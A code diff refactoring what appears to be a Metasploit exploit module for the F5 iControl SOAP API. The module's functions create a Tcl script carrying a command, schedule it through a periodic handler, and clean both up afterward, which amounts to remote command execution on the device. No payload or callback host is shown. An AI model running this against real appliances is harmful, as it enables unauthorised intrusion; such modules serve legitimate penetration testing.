@@ -60,6 +60,19 @@ def initialize(info = {})
60
60
] )
61
61
end
62
62
63
+ def build_xml
64
+ builder = Nokogiri ::XML ::Builder . new do |xml |
65
+ xml . Envelope do
66
+ xml = xml_add_namespaces ( xml )
67
+ xml [ 'soapenv' ] . Header
68
+ xml [ 'soapenv' ] . Body do
69
+ yield xml
70
+ end
71
+ end
72
+ end
73
+ builder . to_xml
74
+ end
75
+
63
76
def xml_add_namespaces ( xml )
64
77
ns = xml . doc . root . add_namespace_definition ( "soapenv" , "http://schemas.xmlsoap.org/soap/envelope/" )
65
78
xml . doc . root . namespace = ns
@@ -96,121 +109,85 @@ def send_soap_request(pay)
96
109
# cmd is valid tcl script
97
110
def create_script ( cmd )
98
111
scriptname = Rex ::Text . rand_text_alpha_lower ( 5 )
99
- builder = Nokogiri ::XML ::Builder . new do |xml |
100
- xml . Envelope do
101
- xml = xml_add_namespaces ( xml )
102
- xml [ 'soapenv' ] . Header
103
- xml [ 'soapenv' ] . Body do
104
- xml [ 'scr' ] . create ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
105
- string_attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
106
- xml . scripts ( string_attrs ) do
107
- xml . parent . namespace = xml . parent . parent . namespace_definitions . first
108
- xml . item scriptname
109
- end
110
- xml . definitions ( string_attrs ) do
111
- xml . parent . namespace = xml . parent . parent . namespace_definitions . first
112
- xml . item cmd
113
- end
114
- end
112
+ create_xml = build_xml do |xml |
113
+ xml [ 'scr' ] . create ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
114
+ string_attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
115
+ xml . scripts ( string_attrs ) do
116
+ xml . parent . namespace = xml . parent . parent . namespace_definitions . first
117
+ xml . item scriptname
118
+ end
119
+ xml . definitions ( string_attrs ) do
120
+ xml . parent . namespace = xml . parent . parent . namespace_definitions . first
121
+ xml . item cmd
115
122
end
116
123
end
117
124
end
118
- send_soap_request ( builder . to_xml ) ? scriptname : false
125
+ send_soap_request ( create_xml ) ? scriptname : false
119
126
end
120
127
121
128
def delete_script ( scriptname )
122
- builder = Nokogiri ::XML ::Builder . new do |xml |
123
- xml . Envelope do
124
- xml = xml_add_namespaces ( xml )
125
- xml [ 'soapenv' ] . Header
126
- xml [ 'soapenv' ] . Body do
127
- xml [ 'scr' ] . delete_script ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
128
- string_attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
129
- xml . scripts ( string_attrs ) do
130
- xml . parent . namespace = xml . parent . parent . namespace_definitions . first
131
- xml . item scriptname
132
- end
133
- end
129
+ delete_xml = build_xml do |xml |
130
+ xml [ 'scr' ] . delete_script ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
131
+ string_attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
132
+ xml . scripts ( string_attrs ) do
133
+ xml . parent . namespace = xml . parent . parent . namespace_definitions . first
134
+ xml . item scriptname
134
135
end
135
136
end
136
137
end
137
- send_soap_request ( builder . to_xml )
138
+ send_soap_request ( delete_xml )
138
139
end
139
140
140
141
def script_exists ( scriptname )
141
- builder = Nokogiri ::XML ::Builder . new do |xml |
142
- xml . Envelope do
143
- xml = xml_add_namespaces ( xml )
144
- xml [ 'soapenv' ] . Header
145
- xml [ 'soapenv' ] . Body do
146
- xml [ 'scr' ] . get_list ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" )
147
- end
148
- end
142
+ exists_xml = build_xml do |xml |
143
+ xml [ 'scr' ] . get_list ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" )
149
144
end
150
- res = send_soap_request ( builder . to_xml )
145
+ res = send_soap_request ( exists_xml )
151
146
res && res . code == 200 && res . body =~ Regexp . new ( "/Common/#{ scriptname } " )
152
147
end
153
148
154
149
def create_handler ( scriptname , interval )
155
150
handler_name = Rex ::Text . rand_text_alpha_lower ( 5 )
156
- builder = Nokogiri ::XML ::Builder . new do |xml |
157
- xml . Envelope do
158
- xml = xml_add_namespaces ( xml )
159
- xml [ 'soapenv' ] . Header
160
- xml [ 'soapenv' ] . Body do
161
- xml [ 'per' ] . create ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
162
- string_attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
163
- xml . handlers ( string_attrs ) do
164
- xml . parent . namespace = xml . parent . parent . namespace_definitions . first
165
- xml . item handler_name
166
- end
167
- xml . scripts ( string_attrs ) do
168
- xml . parent . namespace = xml . parent . parent . namespace_definitions . first
169
- xml . item scriptname
170
- end
171
- long_attrs = { 'xsi:type' => 'urn:Common.ULongSequence' , 'soapenc:arrayType' => 'xsd:long[]' , 'xmlns:urn' => 'urn:iControl' }
172
- xml . intervals ( long_attrs ) do
173
- xml . parent . namespace = xml . parent . parent . namespace_definitions . first
174
- xml . item interval
175
- end
176
- end
151
+ handler_xml = build_xml do |xml |
152
+ xml [ 'per' ] . create ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
153
+ string_attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
154
+ xml . handlers ( string_attrs ) do
155
+ xml . parent . namespace = xml . parent . parent . namespace_definitions . first
156
+ xml . item handler_name
157
+ end
158
+ xml . scripts ( string_attrs ) do
159
+ xml . parent . namespace = xml . parent . parent . namespace_definitions . first
160
+ xml . item scriptname
161
+ end
162
+ long_attrs = { 'xsi:type' => 'urn:Common.ULongSequence' , 'soapenc:arrayType' => 'xsd:long[]' , 'xmlns:urn' => 'urn:iControl' }
163
+ xml . intervals ( long_attrs ) do
164
+ xml . parent . namespace = xml . parent . parent . namespace_definitions . first
165
+ xml . item interval
177
166
end
178
167
end
179
168
end
180
- send_soap_request ( builder . to_xml ) ? handler_name : false
169
+ send_soap_request ( handler_xml ) ? handler_name : false
181
170
end
182
171
183
172
def delete_handler ( handler_name )
184
- builder = Nokogiri ::XML ::Builder . new do |xml |
185
- xml . Envelope do
186
- xml = xml_add_namespaces ( xml )
187
- xml [ 'soapenv' ] . Header
188
- xml [ 'soapenv' ] . Body do
189
- xml [ 'per' ] . delete_handler ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
190
- attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
191
- xml . handlers ( attrs ) do
192
- xml . parent . namespace = xml . parent . parent . namespace_definitions . first
193
- xml . item handler_name
194
- end
195
- end
173
+ delete_xml = build_xml do |xml |
174
+ xml [ 'per' ] . delete_handler ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
175
+ attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
176
+ xml . handlers ( attrs ) do
177
+ xml . parent . namespace = xml . parent . parent . namespace_definitions . first
178
+ xml . item handler_name
196
179
end
197
180
end
198
181
end
199
182
200
- send_soap_request ( builder . to_xml )
183
+ send_soap_request ( delete_xml )
201
184
end
202
185
203
186
def handler_exists ( handler_name )
204
- builder = Nokogiri ::XML ::Builder . new do |xml |
205
- xml . Envelope do
206
- xml = xml_add_namespaces ( xml )
207
- xml [ 'soapenv' ] . Header
208
- xml [ 'soapenv' ] . Body do
209
- xml [ 'per' ] . get_list ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" )
210
- end
211
- end
187
+ handler_xml = build_xml do |xml |
188
+ xml [ 'per' ] . get_list ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" )
212
189
end
213
- res = send_soap_request ( builder . to_xml )
190
+ res = send_soap_request ( handler_xml )
214
191
res && res . code == 200 && res . body =~ Regexp . new ( "/Common/#{ handler_name } " )
215
192
end
216
193
@@ -220,29 +197,24 @@ def check
220
197
# XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'.
221
198
# if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable
222
199
# any other response is considered not vulnerable
223
- builder = Nokogiri ::XML ::Builder . new do |xml |
224
- xml . Envelope do
225
- xml = xml_add_namespaces ( xml )
226
- xml [ 'soapenv' ] . Header
227
- xml [ 'soapenv' ] . Body do
228
- xml [ 'scr' ] . create ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
229
- attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
230
- xml . scripts ( attrs ) do
231
- xml . parent . namespace = xml . parent . parent . namespace_definitions . first
232
- xml . item ""
233
- end
234
- xml . definitions ( attrs ) do
235
- xml . parent . namespace = xml . parent . parent . namespace_definitions . first
236
- xml . item ""
237
- end
238
- end
200
+ check_xml = build_xml do |xml |
201
+ xml [ 'scr' ] . create ( "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" ) do
202
+ attrs = { 'xsi:type' => 'urn:Common.StringSequence' , 'soapenc:arrayType' => 'xsd:string[]' , 'xmlns:urn' => 'urn:iControl' }
203
+ xml . scripts ( attrs ) do
204
+ xml . parent . namespace = xml . parent . parent . namespace_definitions . first
205
+ xml . item
206
+ end
207
+ xml . definitions ( attrs ) do
208
+ xml . parent . namespace = xml . parent . parent . namespace_definitions . first
209
+ xml . item
239
210
end
240
211
end
241
212
end
213
+
242
214
res = send_request_cgi (
243
215
'uri' => normalize_uri ( target_uri . path ) ,
244
216
'method' => 'POST' ,
245
- 'data' => builder . to_xml ,
217
+ 'data' => check_xml ,
246
218
'username' => datastore [ 'USERNAME' ] ,
247
219
'password' => datastore [ 'PASSWORD' ]
248
220
)
0 commit comments